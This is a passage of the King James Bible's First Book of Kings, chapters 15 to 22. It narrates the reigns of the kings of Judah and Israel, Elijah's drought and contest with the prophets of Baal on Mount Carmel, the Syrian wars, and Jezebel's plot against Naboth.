the son of Nebat +reigned Abijam over Judah. + +15:2 Three years reigned he in Jerusalem. and his mother's name was +Maachah, the daughter of Abishalom. + +15:3 And he walked in all the sins of his father, which he had done +before him: and his heart was not perfect with the LORD his God, as +the heart of David his father. + +15:4 Nevertheless for David's sake did the LORD his God give him a +lamp in Jerusalem, to set up his son after him, and to establish +Jerusalem: 15:5 Because David did that which was right in the eyes of +the LORD, and turned not aside from any thing that he commanded him +all the days of his life, save only in the matter of Uriah the +Hittite. + +15:6 And there was war between Rehoboam and Jeroboam all the days of +his life. + +15:7 Now the rest of the acts of Abijam, and all that he did, are they +not written in the book of the chronicles of the kings of Judah? And +there was war between Abijam and Jeroboam. + +15:8 And Abijam slept with his fathers; and they buried him in the +city of David: and Asa his son reigned in his stead. + +15:9 And in the twentieth year of Jeroboam king of Israel reigned Asa +over Judah. + +15:10 And forty and one years reigned he in Jerusalem. And his +mother's name was Maachah, the daughter of Abishalom. + +15:11 And Asa did that which was right in the eyes of the LORD, as did +David his father. + +15:12 And he took away the sodomites out of the land, and removed all +the idols that his fathers had made. + +15:13 And also Maachah his mother, even her he removed from being +queen, because she had made an idol in a grove; and Asa destroyed her +idol, and burnt it by the brook Kidron. + +15:14 But the high places were not removed: nevertheless Asa's heart +was perfect with the LORD all his days. + +15:15 And he brought in the things which his father had dedicated, and +the things which himself had dedicated, into the house of the LORD, +silver, and gold, and vessels. + +15:16 And there was war between Asa and Baasha king of Israel all +their days. + +15:17 And Baasha king of Israel went up against Judah, and built +Ramah, that he might not suffer any to go out or come in to Asa king +of Judah. + +15:18 Then Asa took all the silver and the gold that were left in the +treasures of the house of the LORD, and the treasures of the king's +house, and delivered them into the hand of his servants: and king Asa +sent them to Benhadad, the son of Tabrimon, the son of Hezion, king of +Syria, that dwelt at Damascus, saying, 15:19 There is a league between +me and thee, and between my father and thy father: behold, I have sent +unto thee a present of silver and gold; come and break thy league with +Baasha king of Israel, that he may depart from me. + +15:20 So Benhadad hearkened unto king Asa, and sent the captains of +the hosts which he had against the cities of Israel, and smote Ijon, +and Dan, and Abelbethmaachah, and all Cinneroth, with all the land of +Naphtali. + +15:21 And it came to pass, when Baasha heard thereof, that he left off +building of Ramah, and dwelt in Tirzah. + +15:22 Then king Asa made a proclamation throughout all Judah; none was +exempted: and they took away the stones of Ramah, and the timber +thereof, wherewith Baasha had builded; and king Asa built with them +Geba of Benjamin, and Mizpah. + +15:23 The rest of all the acts of Asa, and all his might, and all that +he did, and the cities which he built, are they not written in the +book of the chronicles of the kings of Judah? Nevertheless in the time +of his old age he was diseased in his feet. + +15:24 And Asa slept with his fathers, and was buried with his fathers +in the city of David his father: and Jehoshaphat his son reigned in +his stead. + +15:25 And Nadab the son of Jeroboam began to reign over Israel in the +second year of Asa king of Judah, and reigned over Israel two years. + +15:26 And he did evil in the sight of the LORD, and walked in the way +of his father, and in his sin wherewith he made Israel to sin. + +15:27 And Baasha the son of Ahijah, of the house of Issachar, +conspired against him; and Baasha smote him at Gibbethon, which +belonged to the Philistines; for Nadab and all Israel laid siege to +Gibbethon. + +15:28 Even in the third year of Asa king of Judah did Baasha slay him, +and reigned in his stead. + +15:29 And it came to pass, when he reigned, that he smote all the +house of Jeroboam; he left not to Jeroboam any that breathed, until he +had destroyed him, according unto the saying of the LORD, which he +spake by his servant Ahijah the Shilonite: 15:30 Because of the sins +of Jeroboam which he sinned, and which he made Israel sin, by his +provocation wherewith he provoked the LORD God of Israel to anger. + +15:31 Now the rest of the acts of Nadab, and all that he did, are they +not written in the book of the chronicles of the kings of Israel? +15:32 And there was war between Asa and Baasha king of Israel all +their days. + +15:33 In the third year of Asa king of Judah began Baasha the son of +Ahijah to reign over all Israel in Tirzah, twenty and four years. + +15:34 And he did evil in the sight of the LORD, and walked in the way +of Jeroboam, and in his sin wherewith he made Israel to sin. + +16:1 Then the word of the LORD came to Jehu the son of Hanani against +Baasha, saying, 16:2 Forasmuch as I exalted thee out of the dust, and +made thee prince over my people Israel; and thou hast walked in the +way of Jeroboam, and hast made my people Israel to sin, to provoke me +to anger with their sins; 16:3 Behold, I will take away the posterity +of Baasha, and the posterity of his house; and will make thy house +like the house of Jeroboam the son of Nebat. + +16:4 Him that dieth of Baasha in the city shall the dogs eat; and him +that dieth of his in the fields shall the fowls of the air eat. + +16:5 Now the rest of the acts of Baasha, and what he did, and his +might, are they not written in the book of the chronicles of the kings +of Israel? 16:6 So Baasha slept with his fathers, and was buried in +Tirzah: and Elah his son reigned in his stead. + +16:7 And also by the hand of the prophet Jehu the son of Hanani came +the word of the LORD against Baasha, and against his house, even for +all the evil that he did in the sight of the LORD, in provoking him to +anger with the work of his hands, in being like the house of Jeroboam; +and because he killed him. + +16:8 In the twenty and sixth year of Asa king of Judah began Elah the +son of Baasha to reign over Israel in Tirzah, two years. + +16:9 And his servant Zimri, captain of half his chariots, conspired +against him, as he was in Tirzah, drinking himself drunk in the house +of Arza steward of his house in Tirzah. + +16:10 And Zimri went in and smote him, and killed him, in the twenty +and seventh year of Asa king of Judah, and reigned in his stead. + +16:11 And it came to pass, when he began to reign, as soon as he sat +on his throne, that he slew all the house of Baasha: he left him not +one that pisseth against a wall, neither of his kinsfolks, nor of his +friends. + +16:12 Thus did Zimri destroy all the house of Baasha, according to the +word of the LORD, which he spake against Baasha by Jehu the prophet. + +16:13 For all the sins of Baasha, and the sins of Elah his son, by +which they sinned, and by which they made Israel to sin, in provoking +the LORD God of Israel to anger with their vanities. + +16:14 Now the rest of the acts of Elah, and all that he did, are they +not written in the book of the chronicles of the kings of Israel? +16:15 In the twenty and seventh year of Asa king of Judah did Zimri +reign seven days in Tirzah. And the people were encamped against +Gibbethon, which belonged to the Philistines. + +16:16 And the people that were encamped heard say, Zimri hath +conspired, and hath also slain the king: wherefore all Israel made +Omri, the captain of the host, king over Israel that day in the camp. + +16:17 And Omri went up from Gibbethon, and all Israel with him, and +they besieged Tirzah. + +16:18 And it came to pass, when Zimri saw that the city was taken, +that he went into the palace of the king's house, and burnt the king's +house over him with fire, and died. + +16:19 For his sins which he sinned in doing evil in the sight of the +LORD, in walking in the way of Jeroboam, and in his sin which he did, +to make Israel to sin. + +16:20 Now the rest of the acts of Zimri, and his treason that he +wrought, are they not written in the book of the chronicles of the +kings of Israel? 16:21 Then were the people of Israel divided into +two parts: half of the people followed Tibni the son of Ginath, to +make him king; and half followed Omri. + +16:22 But the people that followed Omri prevailed against the people +that followed Tibni the son of Ginath: so Tibni died, and Omri +reigned. + +16:23 In the thirty and first year of Asa king of Judah began Omri to +reign over Israel, twelve years: six years reigned he in Tirzah. + +16:24 And he bought the hill Samaria of Shemer for two talents of +silver, and built on the hill, and called the name of the city which +he built, after the name of Shemer, owner of the hill, Samaria. + +16:25 But Omri wrought evil in the eyes of the LORD, and did worse +than all that were before him. + +16:26 For he walked in all the way of Jeroboam the son of Nebat, and +in his sin wherewith he made Israel to sin, to provoke the LORD God of +Israel to anger with their vanities. + +16:27 Now the rest of the acts of Omri which he did, and his might +that he shewed, are they not written in the book of the chronicles of +the kings of Israel? 16:28 So Omri slept with his fathers, and was +buried in Samaria: and Ahab his son reigned in his stead. + +16:29 And in the thirty and eighth year of Asa king of Judah began +Ahab the son of Omri to reign over Israel: and Ahab the son of Omri +reigned over Israel in Samaria twenty and two years. + +16:30 And Ahab the son of Omri did evil in the sight of the LORD above +all that were before him. + +16:31 And it came to pass, as if it had been a light thing for him to +walk in the sins of Jeroboam the son of Nebat, that he took to wife +Jezebel the daughter of Ethbaal king of the Zidonians, and went and +served Baal, and worshipped him. + +16:32 And he reared up an altar for Baal in the house of Baal, which +he had built in Samaria. + +16:33 And Ahab made a grove; and Ahab did more to provoke the LORD God +of Israel to anger than all the kings of Israel that were before him. + +16:34 In his days did Hiel the Bethelite build Jericho: he laid the +foundation thereof in Abiram his firstborn, and set up the gates +thereof in his youngest son Segub, according to the word of the LORD, +which he spake by Joshua the son of Nun. + +17:1 And Elijah the Tishbite, who was of the inhabitants of Gilead, +said unto Ahab, As the LORD God of Israel liveth, before whom I stand, +there shall not be dew nor rain these years, but according to my word. + +17:2 And the word of the LORD came unto him, saying, 17:3 Get thee +hence, and turn thee eastward, and hide thyself by the brook Cherith, +that is before Jordan. + +17:4 And it shall be, that thou shalt drink of the brook; and I have +commanded the ravens to feed thee there. + +17:5 So he went and did according unto the word of the LORD: for he +went and dwelt by the brook Cherith, that is before Jordan. + +17:6 And the ravens brought him bread and flesh in the morning, and +bread and flesh in the evening; and he drank of the brook. + +17:7 And it came to pass after a while, that the brook dried up, +because there had been no rain in the land. + +17:8 And the word of the LORD came unto him, saying, 17:9 Arise, get +thee to Zarephath, which belongeth to Zidon, and dwell there: behold, +I have commanded a widow woman there to sustain thee. + +17:10 So he arose and went to Zarephath. And when he came to the gate +of the city, behold, the widow woman was there gathering of sticks: +and he called to her, and said, Fetch me, I pray thee, a little water +in a vessel, that I may drink. + +17:11 And as she was going to fetch it, he called to her, and said, +Bring me, I pray thee, a morsel of bread in thine hand. + +17:12 And she said, As the LORD thy God liveth, I have not a cake, but +an handful of meal in a barrel, and a little oil in a cruse: and, +behold, I am gathering two sticks, that I may go in and dress it for +me and my son, that we may eat it, and die. + +17:13 And Elijah said unto her, Fear not; go and do as thou hast said: +but make me thereof a little cake first, and bring it unto me, and +after make for thee and for thy son. + +17:14 For thus saith the LORD God of Israel, The barrel of meal shall +not waste, neither shall the cruse of oil fail, until the day that the +LORD sendeth rain upon the earth. + +17:15 And she went and did according to the saying of Elijah: and she, +and he, and her house, did eat many days. + +17:16 And the barrel of meal wasted not, neither did the cruse of oil +fail, according to the word of the LORD, which he spake by Elijah. + +17:17 And it came to pass after these things, that the son of the +woman, the mistress of the house, fell sick; and his sickness was so +sore, that there was no breath left in him. + +17:18 And she said unto Elijah, What have I to do with thee, O thou +man of God? art thou come unto me to call my sin to remembrance, and +to slay my son? 17:19 And he said unto her, Give me thy son. And he +took him out of her bosom, and carried him up into a loft, where he +abode, and laid him upon his own bed. + +17:20 And he cried unto the LORD, and said, O LORD my God, hast thou +also brought evil upon the widow with whom I sojourn, by slaying her +son? 17:21 And he stretched himself upon the child three times, and +cried unto the LORD, and said, O LORD my God, I pray thee, let this +child's soul come into him again. + +17:22 And the LORD heard the voice of Elijah; and the soul of the +child came into him again, and he revived. + +17:23 And Elijah took the child, and brought him down out of the +chamber into the house, and delivered him unto his mother: and Elijah +said, See, thy son liveth. + +17:24 And the woman said to Elijah, Now by this I know that thou art a +man of God, and that the word of the LORD in thy mouth is truth. + +18:1 And it came to pass after many days, that the word of the LORD +came to Elijah in the third year, saying, Go, shew thyself unto Ahab; +and I will send rain upon the earth. + +18:2 And Elijah went to shew himself unto Ahab. And there was a sore +famine in Samaria. + +18:3 And Ahab called Obadiah, which was the governor of his house. +(Now Obadiah feared the LORD greatly: 18:4 For it was so, when Jezebel +cut off the prophets of the LORD, that Obadiah took an hundred +prophets, and hid them by fifty in a cave, and fed them with bread and +water.) 18:5 And Ahab said unto Obadiah, Go into the land, unto all +fountains of water, and unto all brooks: peradventure we may find +grass to save the horses and mules alive, that we lose not all the +beasts. + +18:6 So they divided the land between them to pass throughout it: Ahab +went one way by himself, and Obadiah went another way by himself. + +18:7 And as Obadiah was in the way, behold, Elijah met him: and he +knew him, and fell on his face, and said, Art thou that my lord +Elijah? 18:8 And he answered him, I am: go, tell thy lord, Behold, +Elijah is here. + +18:9 And he said, What have I sinned, that thou wouldest deliver thy +servant into the hand of Ahab, to slay me? 18:10 As the LORD thy God +liveth, there is no nation or kingdom, whither my lord hath not sent +to seek thee: and when they said, He is not there; he took an oath of +the kingdom and nation, that they found thee not. + +18:11 And now thou sayest, Go, tell thy lord, Behold, Elijah is here. + +18:12 And it shall come to pass, as soon as I am gone from thee, that +the Spirit of the LORD shall carry thee whither I know not; and so +when I come and tell Ahab, and he cannot find thee, he shall slay me: +but I thy servant fear the LORD from my youth. + +18:13 Was it not told my lord what I did when Jezebel slew the +prophets of the LORD, how I hid an hundred men of the LORD's prophets +by fifty in a cave, and fed them with bread and water? 18:14 And now +thou sayest, Go, tell thy lord, Behold, Elijah is here: and he shall +slay me. + +18:15 And Elijah said, As the LORD of hosts liveth, before whom I +stand, I will surely shew myself unto him to day. + +18:16 So Obadiah went to meet Ahab, and told him: and Ahab went to +meet Elijah. + +18:17 And it came to pass, when Ahab saw Elijah, that Ahab said unto +him, Art thou he that troubleth Israel? 18:18 And he answered, I have +not troubled Israel; but thou, and thy father's house, in that ye have +forsaken the commandments of the LORD, and thou hast followed Baalim. + +18:19 Now therefore send, and gather to me all Israel unto mount +Carmel, and the prophets of Baal four hundred and fifty, and the +prophets of the groves four hundred, which eat at Jezebel's table. + +18:20 So Ahab sent unto all the children of Israel, and gathered the +prophets together unto mount Carmel. + +18:21 And Elijah came unto all the people, and said, How long halt ye +between two opinions? if the LORD be God, follow him: but if Baal, +then follow him. And the people answered him not a word. + +18:22 Then said Elijah unto the people, I, even I only, remain a +prophet of the LORD; but Baal's prophets are four hundred and fifty +men. + +18:23 Let them therefore give us two bullocks; and let them choose one +bullock for themselves, and cut it in pieces, and lay it on wood, and +put no fire under: and I will dress the other bullock, and lay it on +wood, and put no fire under: 18:24 And call ye on the name of your +gods, and I will call on the name of the LORD: and the God that +answereth by fire, let him be God. And all the people answered and +said, It is well spoken. + +18:25 And Elijah said unto the prophets of Baal, Choose you one +bullock for yourselves, and dress it first; for ye are many; and call +on the name of your gods, but put no fire under. + +18:26 And they took the bullock which was given them, and they dressed +it, and called on the name of Baal from morning even until noon, +saying, O Baal, hear us. But there was no voice, nor any that +answered. And they leaped upon the altar which was made. + +18:27 And it came to pass at noon, that Elijah mocked them, and said, +Cry aloud: for he is a god; either he is talking, or he is pursuing, +or he is in a journey, or peradventure he sleepeth, and must be +awaked. + +18:28 And they cried aloud, and cut themselves after their manner with +knives and lancets, till the blood gushed out upon them. + +18:29 And it came to pass, when midday was past, and they prophesied +until the time of the offering of the evening sacrifice, that there +was neither voice, nor any to answer, nor any that regarded. + +18:30 And Elijah said unto all the people, Come near unto me. And all +the people came near unto him. And he repaired the altar of the LORD +that was broken down. + +18:31 And Elijah took twelve stones, according to the number of the +tribes of the sons of Jacob, unto whom the word of the LORD came, +saying, Israel shall be thy name: 18:32 And with the stones he built +an altar in the name of the LORD: and he made a trench about the +altar, as great as would contain two measures of seed. + +18:33 And he put the wood in order, and cut the bullock in pieces, and +laid him on the wood, and said, Fill four barrels with water, and pour +it on the burnt sacrifice, and on the wood. + +18:34 And he said, Do it the second time. And they did it the second +time. + +And he said, Do it the third time. And they did it the third time. + +18:35 And the water ran round about the altar; and he filled the +trench also with water. + +18:36 And it came to pass at the time of the offering of the evening +sacrifice, that Elijah the prophet came near, and said, LORD God of +Abraham, Isaac, and of Israel, let it be known this day that thou art +God in Israel, and that I am thy servant, and that I have done all +these things at thy word. + +18:37 Hear me, O LORD, hear me, that this people may know that thou +art the LORD God, and that thou hast turned their heart back again. + +18:38 Then the fire of the LORD fell, and consumed the burnt +sacrifice, and the wood, and the stones, and the dust, and licked up +the water that was in the trench. + +18:39 And when all the people saw it, they fell on their faces: and +they said, The LORD, he is the God; the LORD, he is the God. + +18:40 And Elijah said unto them, Take the prophets of Baal; let not +one of them escape. And they took them: and Elijah brought them down +to the brook Kishon, and slew them there. + +18:41 And Elijah said unto Ahab, Get thee up, eat and drink; for there +is a sound of abundance of rain. + +18:42 So Ahab went up to eat and to drink. And Elijah went up to the +top of Carmel; and he cast himself down upon the earth, and put his +face between his knees, 18:43 And said to his servant, Go up now, look +toward the sea. And he went up, and looked, and said, There is +nothing. And he said, Go again seven times. + +18:44 And it came to pass at the seventh time, that he said, Behold, +there ariseth a little cloud out of the sea, like a man's hand. And he +said, Go up, say unto Ahab, Prepare thy chariot, and get thee down +that the rain stop thee not. + +18:45 And it came to pass in the mean while, that the heaven was black +with clouds and wind, and there was a great rain. And Ahab rode, and +went to Jezreel. + +18:46 And the hand of the LORD was on Elijah; and he girded up his +loins, and ran before Ahab to the entrance of Jezreel. + +19:1 And Ahab told Jezebel all that Elijah had done, and withal how he +had slain all the prophets with the sword. + +19:2 Then Jezebel sent a messenger unto Elijah, saying, So let the +gods do to me, and more also, if I make not thy life as the life of +one of them by to morrow about this time. + +19:3 And when he saw that, he arose, and went for his life, and came +to Beersheba, which belongeth to Judah, and left his servant there. + +19:4 But he himself went a day's journey into the wilderness, and came +and sat down under a juniper tree: and he requested for himself that +he might die; and said, It is enough; now, O LORD, take away my life; +for I am not better than my fathers. + +19:5 And as he lay and slept under a juniper tree, behold, then an +angel touched him, and said unto him, Arise and eat. + +19:6 And he looked, and, behold, there was a cake baken on the coals, +and a cruse of water at his head. And he did eat and drink, and laid +him down again. + +19:7 And the angel of the LORD came again the second time, and touched +him, and said, Arise and eat; because the journey is too great for +thee. + +19:8 And he arose, and did eat and drink, and went in the strength of +that meat forty days and forty nights unto Horeb the mount of God. + +19:9 And he came thither unto a cave, and lodged there; and, behold, +the word of the LORD came to him, and he said unto him, What doest +thou here, Elijah? 19:10 And he said, I have been very jealous for +the LORD God of hosts: for the children of Israel have forsaken thy +covenant, thrown down thine altars, and slain thy prophets with the +sword; and I, even I only, am left; and they seek my life, to take it +away. + +19:11 And he said, Go forth, and stand upon the mount before the LORD. + +And, behold, the LORD passed by, and a great and strong wind rent the +mountains, and brake in pieces the rocks before the LORD; but the LORD +was not in the wind: and after the wind an earthquake; but the LORD +was not in the earthquake: 19:12 And after the earthquake a fire; but +the LORD was not in the fire: and after the fire a still small voice. + +19:13 And it was so, when Elijah heard it, that he wrapped his face in +his mantle, and went out, and stood in the entering in of the cave. +And, behold, there came a voice unto him, and said, What doest thou +here, Elijah? 19:14 And he said, I have been very jealous for the +LORD God of hosts: because the children of Israel have forsaken thy +covenant, thrown down thine altars, and slain thy prophets with the +sword; and I, even I only, am left; and they seek my life, to take it +away. + +19:15 And the LORD said unto him, Go, return on thy way to the +wilderness of Damascus: and when thou comest, anoint Hazael to be king +over Syria: 19:16 And Jehu the son of Nimshi shalt thou anoint to be +king over Israel: and Elisha the son of Shaphat of Abelmeholah shalt +thou anoint to be prophet in thy room. + +19:17 And it shall come to pass, that him that escapeth the sword of +Hazael shall Jehu slay: and him that escapeth from the sword of Jehu +shall Elisha slay. + +19:18 Yet I have left me seven thousand in Israel, all the knees which +have not bowed unto Baal, and every mouth which hath not kissed him. + +19:19 So he departed thence, and found Elisha the son of Shaphat, who +was plowing with twelve yoke of oxen before him, and he with the +twelfth: and Elijah passed by him, and cast his mantle upon him. + +19:20 And he left the oxen, and ran after Elijah, and said, Let me, I +pray thee, kiss my father and my mother, and then I will follow thee. +And he said unto him, Go back again: for what have I done to thee? +19:21 And he returned back from him, and took a yoke of oxen, and slew +them, and boiled their flesh with the instruments of the oxen, and +gave unto the people, and they did eat. Then he arose, and went after +Elijah, and ministered unto him. + +20:1 And Benhadad the king of Syria gathered all his host together: +and there were thirty and two kings with him, and horses, and +chariots; and he went up and besieged Samaria, and warred against it. + +20:2 And he sent messengers to Ahab king of Israel into the city, and +said unto him, Thus saith Benhadad, 20:3 Thy silver and thy gold is +mine; thy wives also and thy children, even the goodliest, are mine. + +20:4 And the king of Israel answered and said, My lord, O king, +according to thy saying, I am thine, and all that I have. + +20:5 And the messengers came again, and said, Thus speaketh Benhadad, +saying, Although I have sent unto thee, saying, Thou shalt deliver me +thy silver, and thy gold, and thy wives, and thy children; 20:6 Yet I +will send my servants unto thee to morrow about this time, and they +shall search thine house, and the houses of thy servants; and it shall +be, that whatsoever is pleasant in thine eyes, they shall put it in +their hand, and take it away. + +20:7 Then the king of Israel called all the elders of the land, and +said, Mark, I pray you, and see how this man seeketh mischief: for he +sent unto me for my wives, and for my children, and for my silver, and +for my gold; and I denied him not. + +20:8 And all the elders and all the people said unto him, Hearken not +unto him, nor consent. + +20:9 Wherefore he said unto the messengers of Benhadad, Tell my lord +the king, All that thou didst send for to thy servant at the first I +will do: but this thing I may not do. And the messengers departed, and +brought him word again. + +20:10 And Benhadad sent unto him, and said, The gods do so unto me, +and more also, if the dust of Samaria shall suffice for handfuls for +all the people that follow me. + +20:11 And the king of Israel answered and said, Tell him, Let not him +that girdeth on his harness boast himself as he that putteth it off. + +20:12 And it came to pass, when Ben-hadad heard this message, as he +was drinking, he and the kings in the pavilions, that he said unto his +servants, Set yourselves in array. And they set themselves in array +against the city. + +20:13 And, behold, there came a prophet unto Ahab king of Israel, +saying, Thus saith the LORD, Hast thou seen all this great multitude? +behold, I will deliver it into thine hand this day; and thou shalt +know that I am the LORD. + +20:14 And Ahab said, By whom? And he said, Thus saith the LORD, Even +by the young men of the princes of the provinces. Then he said, Who +shall order the battle? And he answered, Thou. + +20:15 Then he numbered the young men of the princes of the provinces, +and they were two hundred and thirty two: and after them he numbered +all the people, even all the children of Israel, being seven thousand. + +20:16 And they went out at noon. But Benhadad was drinking himself +drunk in the pavilions, he and the kings, the thirty and two kings +that helped him. + +20:17 And the young men of the princes of the provinces went out +first; and Benhadad sent out, and they told him, saying, There are men +come out of Samaria. + +20:18 And he said, Whether they be come out for peace, take them +alive; or whether they be come out for war, take them alive. + +20:19 So these young men of the princes of the provinces came out of +the city, and the army which followed them. + +20:20 And they slew every one his man: and the Syrians fled; and +Israel pursued them: and Benhadad the king of Syria escaped on an +horse with the horsemen. + +20:21 And the king of Israel went out, and smote the horses and +chariots, and slew the Syrians with a great slaughter. + +20:22 And the prophet came to the king of Israel, and said unto him, +Go, strengthen thyself, and mark, and see what thou doest: for at the +return of the year the king of Syria will come up against thee. + +20:23 And the servants of the king of Syria said unto him, Their gods +are gods of the hills; therefore they were stronger than we; but let +us fight against them in the plain, and surely we shall be stronger +than they. + +20:24 And do this thing, Take the kings away, every man out of his +place, and put captains in their rooms: 20:25 And number thee an army, +like the army that thou hast lost, horse for horse, and chariot for +chariot: and we will fight against them in the plain, and surely we +shall be stronger than they. And he hearkened unto their voice, and +did so. + +20:26 And it came to pass at the return of the year, that Benhadad +numbered the Syrians, and went up to Aphek, to fight against Israel. + +20:27 And the children of Israel were numbered, and were all present, +and went against them: and the children of Israel pitched before them +like two little flocks of kids; but the Syrians filled the country. + +20:28 And there came a man of God, and spake unto the king of Israel, +and said, Thus saith the LORD, Because the Syrians have said, The LORD +is God of the hills, but he is not God of the valleys, therefore will +I deliver all this great multitude into thine hand, and ye shall know +that I am the LORD. + +20:29 And they pitched one over against the other seven days. And so +it was, that in the seventh day the battle was joined: and the +children of Israel slew of the Syrians an hundred thousand footmen in +one day. + +20:30 But the rest fled to Aphek, into the city; and there a wall fell +upon twenty and seven thousand of the men that were left. And Benhadad +fled, and came into the city, into an inner chamber. + +20:31 And his servants said unto him, Behold now, we have heard that +the kings of the house of Israel are merciful kings: let us, I pray +thee, put sackcloth on our loins, and ropes upon our heads, and go out +to the king of Israel: peradventure he will save thy life. + +20:32 So they girded sackcloth on their loins, and put ropes on their +heads, and came to the king of Israel, and said, Thy servant Benhadad +saith, I pray thee, let me live. And he said, Is he yet alive? he is +my brother. + +20:33 Now the men did diligently observe whether any thing would come +from him, and did hastily catch it: and they said, Thy brother +Benhadad. Then he said, Go ye, bring him. Then Benhadad came forth to +him; and he caused him to come up into the chariot. + +20:34 And Ben-hadad said unto him, The cities, which my father took +from thy father, I will restore; and thou shalt make streets for thee +in Damascus, as my father made in Samaria. Then said Ahab, I will send +thee away with this covenant. So he made a covenant with him, and sent +him away. + +20:35 And a certain man of the sons of the prophets said unto his +neighbour in the word of the LORD, Smite me, I pray thee. And the man +refused to smite him. + +20:36 Then said he unto him, Because thou hast not obeyed the voice of +the LORD, behold, as soon as thou art departed from me, a lion shall +slay thee. + +And as soon as he was departed from him, a lion found him, and slew +him. + +20:37 Then he found another man, and said, Smite me, I pray thee. And +the man smote him, so that in smiting he wounded him. + +20:38 So the prophet departed, and waited for the king by the way, and +disguised himself with ashes upon his face. + +20:39 And as the king passed by, he cried unto the king: and he said, +Thy servant went out into the midst of the battle; and, behold, a man +turned aside, and brought a man unto me, and said, Keep this man: if +by any means he be missing, then shall thy life be for his life, or +else thou shalt pay a talent of silver. + +20:40 And as thy servant was busy here and there, he was gone. And the +king of Israel said unto him, So shall thy judgment be; thyself hast +decided it. + +20:41 And he hasted, and took the ashes away from his face; and the +king of Israel discerned him that he was of the prophets. + +20:42 And he said unto him, Thus saith the LORD, Because thou hast let +go out of thy hand a man whom I appointed to utter destruction, +therefore thy life shall go for his life, and thy people for his +people. + +20:43 And the king of Israel went to his house heavy and displeased, +and came to Samaria. + +21:1 And it came to pass after these things, that Naboth the +Jezreelite had a vineyard, which was in Jezreel, hard by the palace of +Ahab king of Samaria. + +21:2 And Ahab spake unto Naboth, saying, Give me thy vineyard, that I +may have it for a garden of herbs, because it is near unto my house: +and I will give thee for it a better vineyard than it; or, if it seem +good to thee, I will give thee the worth of it in money. + +21:3 And Naboth said to Ahab, The LORD forbid it me, that I should +give the inheritance of my fathers unto thee. + +21:4 And Ahab came into his house heavy and displeased because of the +word which Naboth the Jezreelite had spoken to him: for he had said, I +will not give thee the inheritance of my fathers. And he laid him down +upon his bed, and turned away his face, and would eat no bread. + +21:5 But Jezebel his wife came to him, and said unto him, Why is thy +spirit so sad, that thou eatest no bread? 21:6 And he said unto her, +Because I spake unto Naboth the Jezreelite, and said unto him, Give me +thy vineyard for money; or else, if it please thee, I will give thee +another vineyard for it: and he answered, I will not give thee my +vineyard. + +21:7 And Jezebel his wife said unto him, Dost thou now govern the +kingdom of Israel? arise, and eat bread, and let thine heart be merry: +I will give thee the vineyard of Naboth the Jezreelite. + +21:8 So she wrote letters in Ahab's name, and sealed them with his +seal, and sent the letters unto the elders and to the nobles that were +in his city, dwelling with Naboth. + +21:9 And she wrote in the letters, saying, Proclaim a fast, and set +Naboth on high among the people: 21:10 And set two men, sons of +Belial, before him, to bear witness against him, saying, Thou didst +blaspheme God and the king. And then carry him out, and stone him, +that he may die. + +21:11 And the men of his city, even the elders and the nobles who were +the inhabitants in his city, did as Jezebel had sent unto them, and as +it was written in the letters which she had sent unto them. + +21:12 They proclaimed a fast, and set Naboth on high among the people. + +21:13 And there came in two men, children of Belial, and sat before +him: and the men of Belial witnessed against him, even against Naboth, +in the presence of the people, saying, Naboth did blaspheme God and +the king. Then they carried him forth out of the city, and stoned him +with stones, that he died. + +21:14 Then they sent to Jezebel, saying, Naboth is stoned, and is +dead. + +21:15 And it came to pass, when Jezebel heard that Naboth was stoned, +and was dead, that Jezebel said to Ahab, Arise, take possession of the +vineyard of Naboth the Jezreelite, which he refused to give thee for +money: for Naboth is not alive, but dead. + +21:16 And it came to pass, when Ahab heard that Naboth was dead, that +Ahab rose up to go down to the vineyard of Naboth the Jezreelite, to +take possession of it. + +21:17 And the word of the LORD came to Elijah the Tishbite, saying, +21:18 Arise, go down to meet Ahab king of Israel, which is in Samaria: +behold, he is in the vineyard of Naboth, whither he is gone down to +possess it. + +21:19 And thou shalt speak unto him, saying, Thus saith the LORD, Hast +thou killed, and also taken possession? And thou shalt speak unto him, +saying, Thus saith the LORD, In the place where dogs licked the blood +of Naboth shall dogs lick thy blood, even thine. + +21:20 And Ahab said to Elijah, Hast thou found me, O mine enemy? And +he answered, I have found thee: because thou hast sold thyself to work +evil in the sight of the LORD. + +21:21 Behold, I will bring evil upon thee, and will take away thy +posterity, and will cut off from Ahab him that pisseth against the +wall, and him that is shut up and left in Israel, 21:22 And will make +thine house like the house of Jeroboam the son of Nebat, and like the +house of Baasha the son of Ahijah, for the provocation wherewith thou +hast provoked me to anger, and made Israel to sin. + +21:23 And of Jezebel also spake the LORD, saying, The dogs shall eat +Jezebel by the wall of Jezreel. + +21:24 Him that dieth of Ahab in the city the dogs shall eat; and him +that dieth in the field shall the fowls of the air eat. + +21:25 But there was none like unto Ahab, which did sell himself to +work wickedness in the sight of the LORD, whom Jezebel his wife +stirred up. + +21:26 And he did very abominably in following idols, according to all +things as did the Amorites, whom the LORD cast out before the children +of Israel. + +21:27 And it came to pass, when Ahab heard those words, that he rent +his clothes, and put sackcloth upon his flesh, and fasted, and lay in +sackcloth, and went softly. + +21:28 And the word of the LORD came to Elijah the Tishbite, saying, +21:29 Seest thou how Ahab humbleth himself before me? because he +humbleth himself before me, I will not bring the evil in his days: but +in his son's days will I bring the evil upon his house. + +22:1 And they continued three years without war between Syria and +Israel. + +22:2 And it came to pass in the third year, that Jehoshaphat the king +of Judah came down to the king of Israel. + +22:3 And the king of Israel said unto his servants, Know ye that +Ramoth in Gilead is ours, and we be still, and take it not out of the +hand of the king of Syria? 22:4 And he said unto Jehoshaphat, Wilt +thou go with me to battle to Ramothgilead? And Jehoshaphat said to the +king of Israel, I am as thou art, my people as thy people, my horses +as thy horses. + +22:5 And Jehoshaphat said unto the king of Israel, Enquire, I pray +thee, at the word of the LORD to day. + +22:6 Then the king of Israel gathered the prophets together, about +four hundred men, and said unto them, Shall I go against Ramothgilead +to battle, or shall I forbear? And they said, Go up; for the LORD +shall deliver it into the hand of the king. + +22:7 And Jehoshaphat said, Is there not here a prophet of the LORD +besides, that we might enquire of him? 22:8 And the king of Israel +said unto Jehoshaphat, There is yet one man, Micaiah the son of Imlah, +by whom we may enquire of the LORD: but I hate him; for he doth not +prophesy good concerning me, but evil. And Jehoshaphat said, Let not +the king say so. + +22:9 Then the king of Israel called an officer, and said, Hasten +hither Micaiah the son of Imlah. + +22:10 And the king of Israel and Jehoshaphat the king of Judah sat +each on his throne, having put on their robes, in a void place in the +entrance of the gate of Samaria; and all the prophets prophesied +before them. + +22:11 And Zedekiah the son of Chenaanah made him horns of iron: and he +said, Thus saith the LORD, With these shalt thou push the Syrians, +until thou have consumed them. + +22:12 And all the prophets prophesied so, saying, 